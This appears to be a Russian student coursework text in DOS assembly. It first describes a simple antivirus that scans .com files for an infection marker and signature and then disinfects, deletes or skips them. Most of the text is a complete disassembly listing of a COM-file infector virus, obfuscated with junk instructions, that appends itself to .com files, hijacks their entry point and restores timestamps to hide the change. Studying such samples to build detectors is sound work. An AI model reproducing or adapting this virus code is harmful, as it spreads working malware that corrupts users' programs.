-
Алгоритм работы антивируса.
-
Поиск первого файла. Если ошибка, то прыжок на п.9:
mov ah,4eh
mov cx,7
mov dx,offset maska
int 21h
jnc set_attributes
jmp exit
-
Изменение атрибутов найденного файла на стандартные с предварительным их сохранением внутри антивируса:
mov ax,4300h
mov dx,9eh
int 21h
mov old_attributes,cx
mov ax,4301h
xor cx,cx
mov dx,9eh
int 21h
jnc open
jmp exit
-
Открытие файла для чтения и записи:
mov ax,3d02h
mov dx,9eh
int 21h
jnc copy_file
jmp find_next
-
Копирование содержимого файла в память для работы с ним:
xchg ax,bx
mov ah,3fh
mov cx,ds:[9ah]
mov dx,offset buf_file
int 21h
jnc proverka
jmp close_find
5) Проверка на предмет метки заражения и сигнатуры вируса. Если нет метки заражения или не совпадает сигнатура, то закрытие файла:
cmp byte ptr [buf_file+3],0feh
jz next_prov
jmp close_find
next_prov:
lea di,buf_file
mov ax,[di+1]
add ax,3
add di,ax
push di
mov si,offset signature
mov cx,16
cycle: mov al,[si]
cmp al,[di]
jnz close_find
inc si
inc di
loop cycle
-
Выбор одного из возможных действий с заражённым файлом:
А) Лечение файла и его закрытие:
mov ax,4200h ;перемещение указателя на начало файла
xor cx,cx
xor dx,dx
int 21h
jc close_find
mov ah,40h ;запись исходных четырёх байт
mov dx,298
pop di
add dx,di
mov cx,4
int 21h
jc close_find
jmp delete_vir
delete_vir:
mov ax,4200h ;перемещение указатель на начало аирусного кода
xor cx,cx
mov dx,word ptr [buf_file+1]
add dx,3
int 21h
jc close_find
mov ah,40h ;удаление вирусного кода
int 21h
mov ah,3eh
int 21h
Б) Закрытие файла и его удаление:
mov ah,3eh
int 21h
mov ah,41h
mov dx,09eh
int 21h
inc kolvo_inf
inc kolvo_scan
pop di
jmp find_next
В) Пропуск файла и его закрытие:
mov ah,3eh
int 21h
7) Восстановление атрибутов файла:
mov ax,4301h
mov cx,old_attributes
mov dx,9eh
int 21h
jnc find_next
jmp exit
8) Поиск следующего файла. Если успешно, то прыжок на п.2:
mov ah,4fh
mov cx,7
mov dx,offset maska
int 21h
jc exit
jmp set_attributes
9) Выход из программы:
mov ah,4ch
int 21h
-
Листинг вируса.
seg000:0100 .686p
seg000:0100 .mmx
seg000:0100 .model tiny
seg000:0100 seg000 segment byte public 'CODE' use16
seg000:0100 assume cs:seg000
seg000:0100 org 100h
seg000:0100 assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
seg000:0100 public start
seg000:0100 start proc near
seg000:0100 jmp vir
seg000:0103 db 0FEh
seg000:0104 db 1
seg000:0105 int 21h
seg000:0107 mov ah, 9
seg000:0109 mov dx, 12Dh
seg000:010C int 21h
seg000:010E mov ah, 9
seg000:0110 mov dx, 15Ch
seg000:0113 int 21h
seg000:0115 mov ah, 9
seg000:0117 mov dx, 17Bh
seg000:011A int 21h
seg000:011C retn
seg000:011C
seg000:011D string1 db 'Hello student',0Dh,0Ah,'$'
seg000:012D string2 db 'This is your virus for researching (kursach)',0Dh,0Ah,'$'
seg000:015C string3 db 'I think you will research it',0Dh,0Ah,'$'
seg000:017B string4 db 'And write cool antivirus',0Dh,0Ah,'$'
seg000:0196
seg000:0196 vir:
seg000:0196 call $+3
seg000:0199
seg000:0199 next:
seg000:0199 rcl si, 1
seg000:019B cmp di, bx
seg000:019D scasb
seg000:019E xor di, cx
seg000:01A0 pop bp
seg000:01A1 cld
seg000:01A2 push ax
seg000:01A3 pop ax
seg000:01A4 sub bp, 99h
seg000:01A8 adc si, 0FF8Eh
seg000:01AB push cs
seg000:01AC pop si
seg000:01AD and di, dx
seg000:01AF add si, ax
seg000:01B1 jmp fresh_bytes
seg000:01B4 sbb di, cx
seg000:01B6 mov si, sp
seg000:01B8 rcr si, cl
seg000:01BA rcr di, cl
seg000:01BC
seg000:01BC find_first:
seg000:01BC mov cx, 7
seg000:01BF and di, di
seg000:01C1 scasw
seg000:01C2 xor di, sp
seg000:01C4 lea dx, [bp+40Bh]
seg000:01C8 rol si, 1
seg000:01CA sbb si, ds:9D32h
seg000:01CE mov ax, 4E00h
seg000:01D1 push cx
seg000:01D2 pop si
seg000:01D3 push ax
seg000:01D4 pop ax
seg000:01D5 sar di, 0FFh
seg000:01D8 sti
seg000:01D9 int 21h
seg000:01DB jnb short continue
seg000:01DD jmp restore_dta
seg000:01E0
seg000:01E0 continue:
seg000:01E0 jns short $+2
seg000:01E2 and si, di
seg000:01E4 inc si
seg000:01E5 dec si
seg000:01E6 push bp
seg000:01E7 pop si
seg000:01E8 jmp set_attributes
seg000:01EB sbb di, dx
seg000:01ED push si
seg000:01EE pop si
seg000:01EF std
seg000:01F0
seg000:01F0 rest_attributes:
seg000:01F0 mov cx, [bp+3DAh]
seg000:01F4 mov di, ax
seg000:01F6 sbb di, cx
seg000:01F8 push sp
seg000:01F9 pop si
seg000:01FA mov ax, 4301h
seg000:01FD push dx
seg000:01FE pop di
seg000:01FF std
seg000:0200 push bx
seg000:0201 pop bx
seg000:0202 lea dx, [bp+1E2h]
seg000:0206 push bp
seg000:0207 pop bp
seg000:0208 sbb di, di
seg000:020A int 21h
seg000:020C or si, ds:8085h
seg000:0210 mov di, ax
seg000:0212 mov di, ds:0FEA9h
seg000:0216 jmp find_next
seg000:0219 cmp si, ds:3831h
seg000:021D xor di, si
seg000:021F
seg000:021F save_data:
seg000:021F mov ax, 5700h
seg000:0222 rcl si, 0BFh
seg000:0225 ja short $+2
seg000:0227 int 21h
seg000:0229 scasw
seg000:022A sub si, sp
seg000:022C lea di, [bp+7F8h]
seg000:0230 mov [bp+468h], dx
seg000:0234 cmpsb
seg000:0235 or si, bx
seg000:0237 add si, bx
seg000:0239 mov [bp+411h], cx
seg000:023D push sp
seg000:023E pop si
seg000:023F sub si, ds:4537h
seg000:0243 jmp mov_poin_to_end
seg000:0246 cmp si, si
seg000:0248 and di, si
seg000:024A sbb di, sp
seg000:024C
seg000:024C save_bytes:
seg000:024C mov cx, 4
seg000:024F xor si, ax
seg000:0251 lea di, [bp-7D5Ch]
seg000:0255 mov ah, 3Fh
seg000:0257 cmpsw
seg000:0258 push sp
seg000:0259 pop sp
seg000:025A push bp
seg000:025B pop si
seg000:025C lea dx, [bp+1C0h]
seg000:0260 shr si, 1
seg000:0262 add di, ds:4B50h
seg000:0266 inc di
seg000:0267 dec di
seg000:0268 mov si, ds:6113h
seg000:026C int 21h
seg000:026E jnb short continue2
seg000:0270 jmp close_file
seg000:0273
seg000:0273 continue2: ; CODE XREF: start+16Ej
seg000:0273 adc si, si
seg000:0275 inc bp
seg000:0276 dec bp
seg000:0277 rol si, 47h
seg000:027A add si, ax
seg000:027C jmp proverka_metka
seg000:027F rcr di, 1
seg000:0281 push si
seg000:0282 pop si
seg000:0283 and si, 3
seg000:0286 sub di, cx
seg000:0288
seg000:0288 fresh_bytes:
seg000:0288 mov ax, [bp+1C2h]
seg000:028C rcr si, 6Ch
seg000:028F add si, ds:0D60Dh
seg000:0293 and si, bp
seg000:0295 push dx
seg000:0296 pop di
seg000:0297 mov word ptr cs:start+2, ax
seg000:029B push sp
seg000:029C pop si
seg000:029D push bp
seg000:029E pop di
seg000:029F mov ax, [bp+1C0h]
seg000:02A3 xor di, dx
seg000:02A5 adc si, sp
seg000:02A7 adc di, di
seg000:02A9 push si
seg000:02AA pop di
seg000:02AB mov word ptr cs:start, ax
seg000:02AF push ds
seg000:02B0 pop si
seg000:02B1 xor di, ds:131Bh
seg000:02B5 jmp set_new_dta
seg000:02B8 or di, dx
seg000:02BA inc bx
seg000:02BB dec bx
seg000:02BC or si, bp
seg000:02BE jz short $+2
seg000:02BE
seg000:02C0 old_bytes db 0B4h, 9, 0BAh, 1Dh
seg000:02C4 new_dta db 2Bh dup(0)
seg000:02EF
seg000:02EF set_attributes:
seg000:02EF mov ax, 4300h
seg000:02F2 xchg si, di
seg000:02F4 sub si, ds:0CA4Ch
seg000:02F8 adc di, bp
seg000:02FA sub si, sp
seg000:02FC lea dx, [bp+1E2h]
seg000:0300 std
seg000:0301 push bp
seg000:0302 pop di
seg000:0303 dec di
seg000:0304 int 21h
seg000:0306 std
seg000:0307 adc si, bp
seg000:0309 shr di, 1
seg000:030B cmpsb
seg000:030C mov [bp+3DAh], cx
seg000:0310 push es
seg000:0311 pop di
seg000:0312 add si, ds:3C74h
seg000:0316 lea di, [bp+43BCh]
seg000:031A inc di
seg000:031B dec di
seg000:031C mov ax, 4301h
seg000:031F dec di
seg000:0320 and di, di
seg000:0322 xor cx, cx
seg000:0324 cmp di, cx
seg000:0326 add si, 0FF90h
seg000:0329 int 21h
seg000:032B and si, dx
seg000:032D std
seg000:032E lea di, [bp+1D0Ah]
seg000:0332 push di
seg000:0333 pop di
seg000:0334 jmp open
seg000:0337 ror di, 1
seg000:0339 adc di, bp
seg000:033B push cx
seg000:033C pop cx
seg000:033D cmp di, di
seg000:033F
seg000:033F close_file:
seg000:033F mov ah, 3Eh
seg000:0341 adc si, di
seg000:0343 adc si, 0FFA6h
seg000:0346 push dx
seg000:0347 pop dx
seg000:0348 push ss
seg000:0349 pop di
seg000:034A int 21h
seg000:034C and si, ax
seg000:034E or di, 0FFA2h
seg000:0351 sti
seg000:0352 jmp rest_attributes
seg000:0355 sub di, 7Ch
seg000:0358 add si, ax
seg000:035A
seg000:035A set_new_dta:
seg000:035A lea dx, [bp+1C4h]
seg000:035E sbb di, bx
seg000:0360 or si, ds:25A9h
seg000:0364 push si
seg000:0365 pop di
seg000:0366 mov ah, 1Ah
seg000:0368 adc si, ds:68B8h
seg000:036C shr di, 0EFh
seg000:036F and di, si
seg000:0371 nop
seg000:0372 int 21h
seg000:0374 and di, di
seg000:0376 jb short $+2
seg000:0378 jmp find_first
seg000:037B jl short $+2
seg000:037D add di, dx
seg000:037F shl di, 2Ch
seg000:0382 dec si
seg000:0383
seg000:0383 open:
seg000:0383 lea dx, [bp+1E2h]
seg000:0387 push bx
seg000:0388 pop di
seg000:0389 push di
seg000:038A pop di
seg000:038B shr si, 0EEh
seg000:038E mov ax, 3D02h
seg000:0391 sub di, ds:9C66h
seg000:0395 push di
seg000:0396 pop si
seg000:0397 int 21h
seg000:0399 jnb short mov_descr
seg000:039B jmp rest_attributes
seg000:039E
seg000:039E mov_descr:
seg000:039E add di, dx
seg000:03A0 sti
seg000:03A1 sbb si, si
seg000:03A3 mov bx, ax
seg000:03A5 push ax
seg000:03A6 pop di
seg000:03A7 dec si
seg000:03A8 push dx
seg000:03A9 pop di
seg000:03AA jmp save_bytes
seg000:03AD xor di, 66h
seg000:03B0 push es
seg000:03B1 pop di
seg000:03B2 push sp
seg000:03B3 pop di
seg000:03B4
seg000:03B4 find_next:
seg000:03B4 mov ah, 4Fh
seg000:03B6 scasb
seg000:03B7 jbe short $+2
seg000:03B9 add di, sp
seg000:03BB push cx
seg000:03BC pop di
seg000:03BD int 21h
seg000:03BF jb short forward
seg000:03C1 jmp set_attributes
seg000:03C4
seg000:03C4 forward:
seg000:03C4 adc si, ds:25F1h
seg000:03C8 mov si, ds:0D23Bh
seg000:03CC jmp restore_dta
seg000:03CF push ss
seg000:03D0 pop si
seg000:03D1 push es
seg000:03D2 pop si
seg000:03D3
seg000:03D3 restore_dta:
seg000:03D3 mov ax, 1A00h
seg000:03D6 add si, bx
seg000:03D8 xor di, si
seg000:03DA adc si, dx
seg000:03DC mov dx, 80h
seg000:03DF sti
seg000:03E0 inc bp
seg000:03E1 dec bp
seg000:03E2 add di, bp
seg000:03E4 int 21h
seg000:03E6 adc di, cx
seg000:03E8 or di, di
seg000:03EA jmp exit
seg000:03ED add si, dx
seg000:03EF push bp
seg000:03F0 pop bp
seg000:03F1 and si, ds:0C330h
seg000:03F5 cmp di, cx
seg000:03F7
seg000:03F7 mov_poin_to_beg:
seg000:03F7 xor dx, dx
seg000:03F9 nop
seg000:03FA std
seg000:03FB adc si, dx
seg000:03FD std
seg000:03FE xor cx, cx
seg000:0400 inc di
seg000:0401 cld
seg000:0402 mov ax, 4200h
seg000:0405 sub si, ax
seg000:0407 jo short $+2
seg000:0409 int 21h
seg000:040B jnb short write_bytes
seg000:040D jmp restore_data
seg000:0410
seg000:0410 write_bytes:
seg000:0410 jo short $+2
seg000:0412 adc di, ds:90BBh
seg000:0416 push bx
seg000:0417 pop si
seg000:0418 cmp si, di
seg000:041A mov cx, 4
seg000:041D cmp di, 4Fh
seg000:0420 adc di, di
seg000:0422 rcl di, 0E7h
seg000:0425 add si, bp
seg000:0427 lea dx, [bp+3D6h]
seg000:042B push sp
seg000:042C pop si
seg000:042D dec di
seg000:042E mov ah, 40h
seg000:0430 sbb di, sp
seg000:0432 and di, bx
seg000:0434 push sp
seg000:0435 pop si
seg000:0436 int 21h
seg000:0438 jnb short next_step2
seg000:043A jmp restore_data
seg000:043D
seg000:043D next_step2:
seg000:043D push ds
seg000:043E pop si
seg000:043F adc si, sp
seg000:0441 jmp restore_data
seg000:0444 push cs
seg000:0445 pop si
seg000:0446 add si, dx
seg000:0448 inc cx
seg000:0449 dec cx
seg000:044A adc di, cx
seg000:044C
seg000:044C exit:
seg000:044C mov ax, 0DBDAh
seg000:044F add si, bp
seg000:0451 push di
seg000:0452 pop di
seg000:0453 xor ax, 0DADAh
seg000:0456 sar si, cl
seg000:0458 xchg si, di
seg000:045A push ax
seg000:045B pop ax
seg000:045C add di, dx
seg000:045E jmp ax
seg000:0460 jp short $+2
seg000:0462 xor si, bx
seg000:0464
seg000:0464 mov_poin_to_end:
seg000:0464 xor cx, cx
seg000:0466 add di, ax
seg000:0468 rcr si, 97h
seg000:046B sub di, ds:4E18h
seg000:046F push ax
seg000:0470 pop ax
seg000:0471 mov ax, 4202h
seg000:0474 jnp short $+2
seg000:0476 mov di, di
seg000:0478 shl di, cl
seg000:047A and si, di
seg000:047C xor dx, dx
seg000:047E dec di
seg000:047F dec si
seg000:0480 push bx
seg000:0481 pop bx
seg000:0482 int 21h
seg000:0484 jnb short write_vir
seg000:0486 jmp restore_data
seg000:0489
seg000:0489 write_vir:
seg000:0489 push ax
seg000:048A pop di
seg000:048B add di, cx
seg000:048D jz short $+2
seg000:048F inc si
seg000:0490 sub ax, 3
seg000:0493 adc si, bp
seg000:0495 sub di, si
seg000:0497 scasw
seg000:0498 mov [bp+3D7h], ax
seg000:049C and di, si
seg000:049E push es
seg000:049F pop si
seg000:04A0 push ds
seg000:04A1 pop di
seg000:04A2 mov ah, 40h
seg000:04A4 xor si, 0FFA9h
seg000:04A7 xor si, bp
seg000:04A9 sub si, bp
seg000:04AB mov cx, [bp+466h]
seg000:04AF inc bx
seg000:04B0 dec bx
seg000:04B1 inc si
seg000:04B2 dec si
seg000:04B3 mov si, ax
seg000:04B5 xor di, ax
seg000:04B7 lea dx, [bp+96h]
seg000:04BB std
seg000:04BC rol di, 2Dh
seg000:04BF xor di, si
seg000:04C1 xor di, ax
seg000:04C3 int 21h
seg000:04C5 jnb short next_step
seg000:04C7 jmp restore_data
seg000:04CA
seg000:04CA next_step:
seg000:04CA push cs
seg000:04CB pop di
seg000:04CC scasw
seg000:04CD jmp mov_poin_to_beg
seg000:04D0 or si, dx
seg000:04D2 push bp
seg000:04D3 pop di
seg000:04D4 xor si, dx
seg000:04D4
seg000:04D6 new_bytes db 0E9h, 93h, 0, 0FEh
seg000:04DA old_attrib dw 0
seg000:04DC
seg000:04DC restore_data:
seg000:04DC mov dx, [bp+468h]
seg000:04E0 adc di, si
seg000:04E2 or di, 55h
seg000:04E5 mov ax, 5701h
seg000:04E8 push cs
seg000:04E9 pop si
seg000:04EA sub si, bp
seg000:04EC sub si, bx
seg000:04EE mov cx, [bp+411h]
seg000:04F2 cmpsb
seg000:04F3 adc di, ds:74CDh
seg000:04F7 int 21h
seg000:04F9 or si, bp
seg000:04FB or di, dx
seg000:04FD inc dx
seg000:04FE dec dx
seg000:04FF jmp close_file
seg000:0502 scasb
seg000:0503 rol di, 0FBh
seg000:0506 push sp
seg000:0507 pop sp
seg000:0508 rol di, 2
seg000:0508
seg000:050B maska db '*.com',0
seg000:0511 old_cx dw 0
seg000:0513
seg000:0513 proverka_metka:
seg000:0513 cmp byte ptr [bp+1C3h], 0FEh
seg000:0518 jnz short proverka_exe
seg000:051A jmp close_file
seg000:051D
seg000:051D proverka_exe:
seg000:051D sbb di, sp
seg000:051F add si, ds:6EA4h
seg000:0523 cmp word ptr [bp+1C0h], 5A4Dh
seg000:0529 jnz short proverka_min
seg000:052B jmp close_file
seg000:052E
seg000:052E proverka_min:
seg000:052E nop
seg000:052F mov di, si
seg000:0531 cmp si, 17h
seg000:0534 mov ax, [bp+1DEh]
seg000:0538 rol di, 0A1h
seg000:053B push cx
seg000:053C pop di
seg000:053D sbb si, di
seg000:053F add di, dx
seg000:0541 cmp ax, 400h
seg000:0544 ja short proverka_max
seg000:0546 jmp close_file
seg000:0549
seg000:0549 proverka_max:
seg000:0549 inc si
seg000:054A dec si
seg000:054B ror di, 1
seg000:054D cmp ax, 0FA00h
seg000:0550 jb short okay
seg000:0552 jmp close_file
seg000:0555
seg000:0555 okay:
seg000:0555 add si, 6Fh
seg000:0558 sbb si, dx
seg000:055A jmp save_data
seg000:055A start endp
seg000:055A
seg000:055D ror di, 0C5h
seg000:0560 sbb si, ds:4B22h
seg000:0564 adc si, di
seg000:0564
seg000:0566 vir_len dw 3D4h
seg000:0568 old_dx dw 0
seg000:0568 seg000 ends
seg000:0568 end start
